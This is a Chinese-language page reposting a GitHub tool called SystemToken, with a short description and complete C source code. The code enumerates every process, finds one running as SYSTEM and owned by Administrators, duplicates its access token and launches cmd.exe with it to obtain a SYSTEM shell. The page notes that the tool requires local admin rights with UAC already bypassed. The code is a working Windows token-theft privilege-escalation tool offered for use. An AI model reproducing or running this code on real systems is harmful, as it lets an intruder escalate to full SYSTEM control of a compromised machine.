目录导航
项目地址:github
系统令牌
此代码将遍历系统上的所有进程,直到达到具有以下特征的进程:
- 该过程的用户是SYSTEM
- 该过程的所有者是管理员
一旦找到具有这两个特征的流程,便会复制该进程的令牌,并创建一个具有该令牌的新进程。这将导致SYSTEM get shell。
系统要求
此代码已在Windows 10 x64计算机上使用Visual Studio 2019进行了测试。
必须在绕过UAC和本地管理员特权的情况下运行。
用法
编译并运行SystemToken.exe
EnablePriv.h
#include<Windows.h>
#include<WinBase.h>
#include<stdio.h>
#include<securitybaseapi.h>
BOOL EnablePriv(void) {
LUID debug_value, restore_value;
BOOL lookup_debug, lookup_restore, token_info;
HANDLE proc_token, current_handle;
DWORD buffer_size;
PTOKEN_PRIVILEGES all_token_privs;
int RestoreFound = 0, DebugFound = 0;
TOKEN_PRIVILEGES my_token;
PTOKEN_PRIVILEGES p_mytoken;
lookup_debug = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &debug_value);
lookup_restore = LookupPrivilegeValueA(NULL, "SeRestorePrivilege", &restore_value);
if (!lookup_debug || !lookup_restore)
return FALSE;
//get handle to your token
current_handle = GetCurrentProcess();
BOOL handle_result = OpenProcessToken(current_handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_READ, &proc_token); //TOKEN_QUERY required to access token
if (!handle_result)
return FALSE;
//Get Token structure length
GetTokenInformation(proc_token, TokenPrivileges, NULL, 0, &buffer_size); //This function always fails, but returns buffer_size
//call GetTokenInformation again to get the struct data
all_token_privs = (PTOKEN_PRIVILEGES)malloc(buffer_size);
token_info = GetTokenInformation(proc_token, TokenPrivileges, all_token_privs, buffer_size, &buffer_size);
if (!token_info)
return FALSE;
//Now we will check if SeDebugPrivilege & SeRestorePrivilege is in all_token_privs
for (int x = 0; x < all_token_privs->PrivilegeCount; x++) {
if ((all_token_privs->Privileges[x].Luid.LowPart == debug_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == debug_value.HighPart)) {
printf("[+] SeDebugPrivilege Found\n");
DebugFound++;
}
else if ((all_token_privs->Privileges[x].Luid.LowPart == restore_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == restore_value.HighPart)) {
printf("[+] SeRestorePrivilege Found\n");
RestoreFound++;
}
else if (DebugFound == 1 && RestoreFound == 1)
break;
else
continue;
}
if (!DebugFound) {
printf("[!] SeDebugPrivilege not found\n");
return FALSE;
}
if (!RestoreFound) {
printf("[!] SeRestorePrivilege not found\n");
return FALSE;
}
//change the token privilege for SeRestore then
//define the new token struct
//to enable more than 1 privilege at a time, change the
//ANYSIZE_ARRAY definition in winnt.h
my_token.PrivilegeCount = 1;
my_token.Privileges[0].Luid = restore_value;
my_token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//my_token.Privileges[1].Luid = debug_value;
//my_token.Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
p_mytoken = &my_token;
//now change the token
BOOL change_priv = AdjustTokenPrivileges(proc_token, FALSE, p_mytoken, 0, NULL, NULL);
if (!change_priv)
return FALSE;
return TRUE;
}
main.c
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <UserEnv.h>
#include <tchar.h>
#include "../SystemToken/EnablePriv.h"
#define MAX_PATH 35
#define MAX_ARRAY 35
#define NAME_ARRAY 200
int protected_check(DWORD pid);
BOOL system_check(PROCESSENTRY32 process);
void token_elevation(HANDLE process);
typedef struct _process {
PROCESSENTRY32 pprocess;
struct process* next;
} process;
typedef struct _protected_process {
PROCESSENTRY32 pprotected;
} protected_process;
int system_check_flag = 0;
int main(void) {
process* head, * position = NULL;
PROCESSENTRY32 each_process, entry;
HANDLE snapshot_proc;
BOOL first_result, system_process;
protected_process protected_arr[MAX_ARRAY];
int protected_count = 0;
//Uncomment to enable token privileges
/*BOOL debug_result = EnablePriv();
if (!debug_result) {
printf("[!] Error: Failed to acquire Privileges!\n\n");
}
else
printf("[+] SeRestore Privilege Acquired!\n\n");*/
snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_proc == INVALID_HANDLE_VALUE) {
printf("[!] Error: Could not return handle on snapshot");
exit(1);
}
each_process.dwSize = sizeof(PROCESSENTRY32);
first_result = Process32First(snapshot_proc, &each_process);
if (!first_result) {
printf("[!] Error: Could not grab first process");
exit(1);
}
//Linked list used for future examples on access to different processes for different actions
//Create first node in linked list
process* new_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
//The first entry in the linked list is mapped by the head pointer
new_entry->pprocess = each_process;
new_entry->next = NULL;
head = new_entry;
system_process = system_check(each_process);
if (system_process) {
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use
protected_count += 1;
}
}
while (Process32Next(snapshot_proc, &each_process)) {
position = head;
while (position->next != NULL)
position = position->next;
process* next_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
next_entry->pprocess = each_process;
next_entry->next = NULL;
position->next = next_entry;
//after finding the System process once we ignore the system_check function going forward
if (!system_check_flag) {
system_process = system_check(each_process);
if (!system_process)
continue;
}
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
if (protected_count != MAX_ARRAY) {
protected_arr[protected_count].pprotected = each_process;
protected_count += 1;
}
}
}
CloseHandle(snapshot_proc);
}
int protected_check(DWORD pid) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (proc_handle == NULL) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes
token_elevation(proc_handle);
return 1;
}
token_elevation(proc_handle);
return 0;
}
//This function serves to skip over the "System" process
//Trying to steal its token fails and delays code execution
//Once this function returns FALSE it means the System process
//has been found and this function is no longer needed
BOOL system_check(PROCESSENTRY32 process) {
CHAR *system_process = "System";
int comparison = 0;
for (int i = 0; i < MAX_PATH; i++) {
if (process.szExeFile[i] == '\0')
break;
else if (process.szExeFile[i] == *system_process) {
system_process++;
comparison++;
}
else
break;
}
if (wcslen(process.szExeFile) == comparison) {
system_check_flag++;
return FALSE;
}
return TRUE;
}
//This function's objective is to get the user of a process and check if
//it is SYSTEM
BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_USER token_user;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"SYSTEM";
GetTokenInformation(token, TokenUser, NULL, 0, &token_size);
token_user = (PTOKEN_USER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain user token information!\n");
return 1;
}
else {
result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_user);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length)
return TRUE;
else
return FALSE;
}
//this function's objective is to get the owner of the process and check if
//it is part of the Administrators group
BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_OWNER token_owner;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"Administrators";
SecureZeroMemory(account_name, NAME_ARRAY);
SecureZeroMemory(domain_name, NAME_ARRAY);
GetTokenInformation(token, TokenOwner, NULL, 0, &token_size);
token_owner = (PTOKEN_OWNER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain owner token information!\n");
}
else {
result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_owner);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length)
return TRUE;
else
return FALSE;
}
//This function will attempt to duplicate a SYSTEM token and create
//a new process with it. If successful SYSTEM shell obtained
void token_elevation(HANDLE process) {
TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY];
HANDLE ptoken, new_token;
STARTUPINFO startupinfo = { 0 };
PROCESS_INFORMATION procinfo = { 0 };
BOOL user_check, owner_check, duplicated;
BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); //
if (!result) {
//printf("[!] Error: Could not open handle to token\n");
return 1;
}
user_check = GetUserInfo(ptoken, account_name, domain_name);
owner_check = GetOwnerInfo(ptoken, account_name, domain_name);
if (user_check & owner_check) {
result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token);
if (result) {
printf("[+] Token Duplicated\n");
duplicated = CreateProcessWithTokenW(new_token, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startupinfo, &procinfo);
if (duplicated) {
printf("[+] SUCCESS");
CloseHandle(&startupinfo);
CloseHandle(&procinfo);
exit(1);
}
else
{
printf("[!] FAIL");
}
}
}
}
参考文献
这项工作基于SpectreOps https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens的Justin Bui所做的研究。
